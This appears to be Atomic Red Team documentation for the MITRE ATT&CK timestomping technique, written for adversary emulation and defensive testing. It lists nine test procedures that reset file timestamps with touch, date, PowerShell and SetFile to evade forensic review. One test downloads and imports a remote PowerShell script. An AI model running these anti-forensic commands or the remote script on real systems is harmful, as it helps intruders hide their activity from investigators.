T1070.006 - Timestomp

Contents

T1070.006 - Timestomp#

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name Masquerading to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

Atomic Tests#

Atomic Test #1 - Set a file’s access timestamp#

Stomps on the access timestamp of a file

Supported Platforms: linux, macos

Dependencies: Run with sh!#

Description: The file must exist in order to be timestomped#
Check Prereq Commands:#
test -e /tmp/T1070.006-access.txt && exit 0 || exit 1
Get Prereq Commands:#
echo 'T1070.006 file access timestomp test' > /tmp/T1070.006-access.txt
Invoke-AtomicTest T1070.006 -TestNumbers 1 -GetPreReqs

Attack Commands: Run with sh#

touch -a -t 197001010000.00 /tmp/T1070.006-access.txt
Invoke-AtomicTest T1070.006 -TestNumbers 1

Cleanup:#

rm -f /tmp/T1070.006-access.txt
Invoke-AtomicTest T1070.006 -TestNumbers 1 -Cleanup

Atomic Test #2 - Set a file’s modification timestamp#

Stomps on the modification timestamp of a file

Supported Platforms: linux, macos

Dependencies: Run with sh!#

Description: The file must exist in order to be timestomped#
Check Prereq Commands:#
test -e /tmp/T1070.006-modification.txt && exit 0 || exit 1
Get Prereq Commands:#
echo 'T1070.006 file modification timestomp test' > /tmp/T1070.006-modification.txt
Invoke-AtomicTest T1070.006 -TestNumbers 2 -GetPreReqs

Attack Commands: Run with sh#

touch -m -t 197001010000.00 /tmp/T1070.006-modification.txt
Invoke-AtomicTest T1070.006 -TestNumbers 2

Cleanup:#

rm -f /tmp/T1070.006-modification.txt
Invoke-AtomicTest T1070.006 -TestNumbers 2 -Cleanup

Atomic Test #3 - Set a file’s creation timestampStomps on the create timestamp of a file#

Setting the creation timestamp requires changing the system clock and reverting. Sudo or root privileges are required to change date. Use with caution. Supported Platforms: linux, macos Elevation Required (e.g. root or admin)#### Attack Commands: Run with sh

NOW=$(date +%m%d%H%M%Y)
date 010100001971
touch /tmp/T1070.006-creation.txt
date "$NOW"
stat /tmp/T1070.006-creation.txt
Invoke-AtomicTest T1070.006 -TestNumbers 3

Cleanup:#

rm -f /tmp/T1070.006-creation.txt
Invoke-AtomicTest T1070.006 -TestNumbers 3 -Cleanup

Atomic Test #4 - Modify file timestamps using reference file#

Modifies the modify and access timestamps using the timestamps of a specified reference file.

This technique was used by the threat actor Rocke during the compromise of Linux web servers.

Supported Platforms: linux, macos

Dependencies: Run with sh!#

Description: The file must exist in order to be timestomped#
Check Prereq Commands:#
test -e /tmp/T1070.006-reference.txt && exit 0 || exit 1
Get Prereq Commands:#
echo 'T1070.006 reference file timestomp test' > /tmp/T1070.006-reference.txt
Invoke-AtomicTest T1070.006 -TestNumbers 4 -GetPreReqs

Attack Commands: Run with sh#

touch -acmr /bin/sh /tmp/T1070.006-reference.txt
Invoke-AtomicTest T1070.006 -TestNumbers 4

Cleanup:#

rm -f /tmp/T1070.006-reference.txt
Invoke-AtomicTest T1070.006 -TestNumbers 4 -Cleanup

Atomic Test #5 - Windows - Modify file creation timestamp with PowerShell#

Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: A file must exist at the path (#{file_path}) to change the creation time on#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" -Force | Out-Null
Set-Content "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" -Value "T1551.006 Timestomp" -Force | Out-Null
Invoke-AtomicTest T1070.006 -TestNumbers 5 -GetPreReqs

Attack Commands: Run with powershell#

Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" | % { $_.CreationTime = "01/01/1970 00:00:00" }
Invoke-AtomicTest T1070.006 -TestNumbers 5

Atomic Test #6 - Windows - Modify file last modified timestamp with PowerShell#

Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: A file must exist at the path (#{file_path}) to change the modified time on#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" -Force | Out-Null
Set-Content "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" -Value "T1551.006 Timestomp" -Force | Out-Null
Invoke-AtomicTest T1070.006 -TestNumbers 6 -GetPreReqs

Attack Commands: Run with powershell#

Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" | % { $_.LastWriteTime = "01/01/1970 00:00:00" }
Invoke-AtomicTest T1070.006 -TestNumbers 6

Atomic Test #7 - Windows - Modify file last access timestamp with PowerShell#

Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: A file must exist at the path (“#{file_path}”) to change the last access time on#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" -Force | Out-Null
Set-Content "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" -Value "T1551.006 Timestomp" -Force | Out-Null
Invoke-AtomicTest T1070.006 -TestNumbers 7 -GetPreReqs

Attack Commands: Run with powershell#

Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt" | % { $_.LastAccessTime = "01/01/1970 00:00:00" }
Invoke-AtomicTest T1070.006 -TestNumbers 7

Atomic Test #8 - Windows - Timestomp a File#

Timestomp kxwn.lock.

Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file.

Mitre ATT&CK Evals

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: timestomp.ps1 must be present in #{file_path}.#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\timestomp.ps1") {exit 0} else {exit 1}
Get Prereq Commands:#
Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\timestomp.ps1"
Description: kxwn.lock must be present in #{file_path}.#
Check Prereq Commands:#
if (Test-Path -path "PathToAtomicsFolder\..\ExternalPayloads\kxwn.lock") {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Path "PathToAtomicsFolder\..\ExternalPayloads\kxwn.lock" -ItemType File
Invoke-AtomicTest T1070.006 -TestNumbers 8 -GetPreReqs

Attack Commands: Run with powershell#

import-module "PathToAtomicsFolder\..\ExternalPayloads\timestomp.ps1"
timestomp -dest "PathToAtomicsFolder\..\ExternalPayloads\kxwn.lock"
Invoke-AtomicTest T1070.006 -TestNumbers 8

Atomic Test #9 - MacOS - Timestomp Date Modified#

Stomps on the modification timestamp of a file using MacOS’s SetFile utility

Supported Platforms: macos

Dependencies: Run with sh!#

Description: The file must exist in order to be timestomped#
Check Prereq Commands:#
test -e /tmp/T1070.006-modified.txt && exit 0 || exit 1
Get Prereq Commands:#
echo 'T1070.006 MacOS file modified timestomp test' > /tmp/T1070.006-modified.txt
Invoke-AtomicTest T1070.006 -TestNumbers 9 -GetPreReqs

Attack Commands: Run with sh#

SetFile -m 01/01/1970 /tmp/T1070.006-modified.txt
Invoke-AtomicTest T1070.006 -TestNumbers 9

Cleanup:#

rm -f /tmp/T1070.006-modified.txt
Invoke-AtomicTest T1070.006 -TestNumbers 9 -Cleanup

Detection#

Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.